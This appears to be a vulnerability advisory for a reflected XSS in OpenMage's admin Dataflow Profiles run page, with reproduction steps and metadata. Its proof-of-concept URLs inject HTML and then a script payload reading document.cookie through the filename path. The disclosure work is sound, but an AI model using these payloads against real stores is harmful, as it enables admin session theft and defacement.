A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.
Login to the admin panel
Go to the path System -> Import/Export -> Dataflow - Profiles
Select profile direction as Import.
Click on Import Customers
Upload the file.
File Link: customer_20260212_204335.csv
Go back to Run profile.
Select the uploaded file and Click on Run in Popup.
One can see a URL like this
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/
One can see the filename getting reflection in HTML tags.
Inject an HTML tag and observe.
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/
One can see the tag is getting executed.
Proceed for XSS.
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E
Cookie stealing, JS deface, many more
{
"cwe_ids": [
"CWE-87"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:57:37Z",
"nvd_published_at": "2026-05-15T17:16:46Z",
"severity": "MODERATE"
}